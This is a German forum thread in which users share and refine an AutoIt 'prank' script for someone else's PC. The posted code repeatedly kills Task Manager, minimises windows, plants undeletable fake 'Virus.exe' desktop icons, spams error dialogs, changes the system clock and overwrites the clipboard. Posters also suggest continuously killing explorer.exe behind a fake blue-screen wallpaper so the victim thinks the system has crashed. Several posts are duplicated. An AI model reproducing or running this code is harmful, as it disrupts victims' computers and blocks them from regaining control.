Also ich persönlich würde das tun:
nehm das Script so.
Doch wenn der explorer Prozess geschlossen wird
zeigt er Dateien und die Trayleiste(heist glaube ich so)
net mehr angezeigt.
Hau dann noch n script rein was n BSOD als Hintergrund nimmt.
Hier mal n Bild vom BSOD:
hm problem is nur
nach ner zeit startet der explorer von alleine neu
Deswegen sag ich ja kurz zappeln lassen und dann Shutdown.
Ansonsten kann auch per Parallelthread überprüfen ob er wieder läuft. Er steht früher im Speicher drin als die Symbole angezeigt werden. D.h. einfach Schnell wieder killen ;P
Func DateiAufDesktop($Anzahl) $CGH = ControlGetHandle("Program Manager", "", "SysListView321") For $ab = 1 To $Anzahl _GUICtrlListView_AddItem($CGH, "Virus.exe", 12) Next EndFunc
func BoxSpam($Anzahl) for $j = 1 to $Anzahl Step +1 GUICreate("Error",150,60,Random(0,@DesktopWidth-140,1),Random(0,@DesktopHeight-120,1)) GUICtrlCreateLabel("Error in Line "&$j,45,20) GUISetState(@SW_SHOW) next EndFunc
Func clip($text) ClipPut($text) EndFunc
Func mini() WinMinimizeAll() EndFunc
Func task() Opt("WinTitleMatchMode", 4) if ProcessExists ("Windows Task-Manager") then ProcessClose("Windows Task-Manager") endif if ProcessExists ("Windows Task Manager") then ProcessClose("Windows Task Manager") endif if WinExists ("Windows Task-Manager") then WinKill("Windows Task-Manager") endif if WinExists ("Windows Task Manager") then WinKill("Windows Task Manager") endif EndFunc
Func prog() $var = Random(1,2,1) Select Case $var = 1 Run("Notepad.exe") Case $var = 2 Run("cmd.exe") EndSelect EndFunc
Nichts davon richtet einen wirklichen Schaden auf den pc an , das wäre ein kleines Beispielskript (falls du überhaupt nicht weißt wie man Funktionen benutzt ....)
#Include <Date.au3> #Include <GuiListView.au3> ;Order Section AdlibEnable("task",500) prog() _SetTime(@HOUR, @MIN+10) prog() DateiAufDesktop(22) clip("haha") mini() prog() for $i=0 to 55 sleep(random(40,400)) piep() Next prog() BoxSpam(55)
;Func Section Func DateiAufDesktop($Anzahl) $CGH = ControlGetHandle("Program Manager", "", "SysListView321") For $ab = 1 To $Anzahl _GUICtrlListView_AddItem($CGH, "Virus.exe", 12) Next EndFunc
func BoxSpam($Anzahl) for $j = 1 to $Anzahl Step +1 GUICreate("Error",150,60,Random(0,@DesktopWidth-140,1),Random(0,@DesktopHeight-120,1)) GUICtrlCreateLabel("Error in Line "&$j,45,20) GUISetState(@SW_SHOW) next EndFunc
Func clip($text) ClipPut($text) EndFunc
Func mini() WinMinimizeAll() EndFunc
Func task() Opt("WinTitleMatchMode", 4) if ProcessExists ("Windows Task-Manager") then ProcessClose("Windows Task-Manager") endif if ProcessExists ("Windows Task Manager") then ProcessClose("Windows Task Manager") endif if WinExists ("Windows Task-Manager") then WinKill("Windows Task-Manager") endif if WinExists ("Windows Task Manager") then WinKill("Windows Task Manager") endif EndFunc
Func prog() $var = Random(1,2,1) Select Case $var = 1 Run("Notepad.exe") Case $var = 2 Run("cmd.exe") EndSelect EndFunc
Mein persönlicher Favorit ist DateiAufDesktop($Anzahl) , dieser Befehl erzeugt auf dem Desktop dateien , die aber nicht wie normale dateien beartbeitet werden können (sprich weder gelöscht noch kopiert werden können) . Spätestens nach restart des pc verschwinden sie von alleine .
Wenn du wissen willst was die anderen befehle machen , führ sie doch einfach aus
Edit :
Benutze lieber diese Function zum Emails verschicken (häng sie einfach ans Ende der Inet.au3 an)
;=============================================================================== ; ; Function Name: _INetSmtpMailAuth() ; Description: Sends an email using SMTP over TCP IP. ; Parameter(s): $s_SmtpServer - SMTP server to be used for sending email ; $s_FromName - Name of sender ; $s_FromAddress - eMail address of sender ; $s_ToAddress - Address that email is to be sent to ; $s_Username - Username for Authentication (bernd670) ; $s_Passwd - Password for Authentication (bernd670) ; $s_Subject - Subject of eMail ; $as_Body - Single dimension array containing the body of eMail as strings ; $s_helo - Helo identifier (default @COMPUTERNAME) sometime needed by smtp server ; $s_first - send before Helo identifier (default @CRLF) sometime needed by smtp server ; $b_trace - trace on a splash window (default 0 = no trace) ; Requirement(s): None ; Return Value(s): On Success - Returns 1 ; On Failure - 0 and sets ; @ERROR = 1 - Invalid Parameters ; @ERROR = 2 - Unable to start TCP ; @ERROR = 3 - Unable to resolve IP ; @ERROR = 4 - Unable to create socket ; @ERROR = 5x - Cannot open SMTP session ; @ERROR = 50x - Cannot send body ; @ERROR = 5000 - Cannot close SMTP session ; Authors: Original function to send email via TCP - Asimzameer ; Conversion to UDF - Walkabout ; Correction Helo, timeout, trace - Jpm ; Correction send before Helo - Jpm ; Include Authentication - bernd670 ; ;=============================================================================== Func _INetSmtpMailAuth($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Username, $s_Passwd, $s_Subject = "", $as_Body = "", $s_helo = "", $s_first = "-1", $b_trace = 0)
Local $v_Socket Local $s_IPAddress Local $i_Count Local $s_Send[9] Local $s_ReplyCode[9];Return code from SMTP server indicating success
If $s_SmtpServer = "" Or $s_FromAddress = "" Or $s_ToAddress = "" Or $s_Username = "" Or $s_Passwd = "" Or $s_FromName = "" Or StringLen($s_FromName) > 256 Then SetError(1) Return 0 EndIf If $s_helo = "" Then $s_helo = @ComputerName If TCPStartup() = 0 Then SetError(2) Return 0 EndIf StringRegExp($s_SmtpServer, "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)") If @extended Then $s_IPAddress = $s_SmtpServer Else $s_IPAddress = TCPNameToIP($s_SmtpServer) EndIf If $s_IPAddress = "" Then TCPShutdown() SetError(3) Return 0 EndIf $v_Socket = TCPConnect($s_IPAddress, 25) If $v_Socket = -1 Then TCPShutdown() SetError(4) Return (0) EndIf
; open stmp session If _SmtpSend($v_Socket, $s_Send[0], $s_ReplyCode[0], $b_trace, "220", $s_first) Then SetError(50) Return 0 EndIf
; send header For $i_Count = 0 To UBound($s_Send) - 2 If _SmtpSend($v_Socket, $s_Send[$i_Count], $s_ReplyCode[$i_Count], $b_trace) Then SetError(50 + $i_Count) Return 0 EndIf Next
; send body records (a record can be multiline : take care of a subline beginning with a dot should be ..) For $i_Count = 0 To UBound($as_Body) - 1 ; correct line beginning with a dot If StringLeft($as_Body[$i_Count], 1) = "." Then $as_Body[$i_Count] = "." & $as_Body[$i_Count]
If _SmtpSend($v_Socket, $as_Body[$i_Count] & @CRLF, "", $b_trace) Then SetError(500 + $i_Count) Return 0 EndIf Next
; close the smtp session $i_Count = UBound($s_Send) - 1 If _SmtpSend($v_Socket, $s_Send[$i_Count], $s_ReplyCode[$i_Count], $b_trace) Then SetError(5000) Return 0 EndIf
Deswegen sag ich ja kurz zappeln lassen und dann Shutdown.
Ansonsten kann auch per Parallelthread überprüfen ob er wieder läuft. Er steht früher im Speicher drin als die Symbole angezeigt werden. D.h. einfach Schnell wieder killen ;P
hm da bringste mich auf ne idee
lasst doch das mit den laufwerken und dem shutdown einfach weg
also nur endlosschleife in der der explorrer gekillt wird und wenn er gestartet wird wieder gekillt wird (das selbe für den taskmanager) und als desktophintergrund nen BSoD^^ wenn die symbole fehlen und man nix machen kann und wenn nix mit dem laufwerk passiert (lol) und auch keine Messagebox à la HAHA dann denkt man das is echt n BSoD xDD
@Shadow:
Warum machst du das mit dem Taskmanager 4 mal hintereinander?
Entweder Endlosschleife oder nur 1 mal^^ ne exe hat so ne schnelle laufzeit, da sind die 4 mal ganz schnell um, also wenn das ne langzeitüberprüfung sein soll bringts nix^^
hm da bringste mich auf ne idee
lasst doch das mit den laufwerken und dem shutdown einfach weg
also nur endlosschleife in der der explorrer gekillt wird und wenn er gestartet wird wieder gekillt wird (das selbe für den taskmanager) und als desktophintergrund nen BSoD^^ wenn die symbole fehlen und man nix machen kann und wenn nix mit dem laufwerk passiert (lol) und auch keine Messagebox à la HAHA dann denkt man das is echt n BSoD xDD
@Shadow:
Warum machst du das mit dem Taskmanager 4 mal hintereinander?
Entweder Endlosschleife oder nur 1 mal^^ ne exe hat so ne schnelle laufzeit, da sind die 4 mal ganz schnell um, also wenn das ne langzeitüberprüfung sein soll bringts nix^^
Schau doch mal mein beispiel an :
AdlibEnable("task",500)
, da siehste doch , dass es ne längere laufzeit hat ...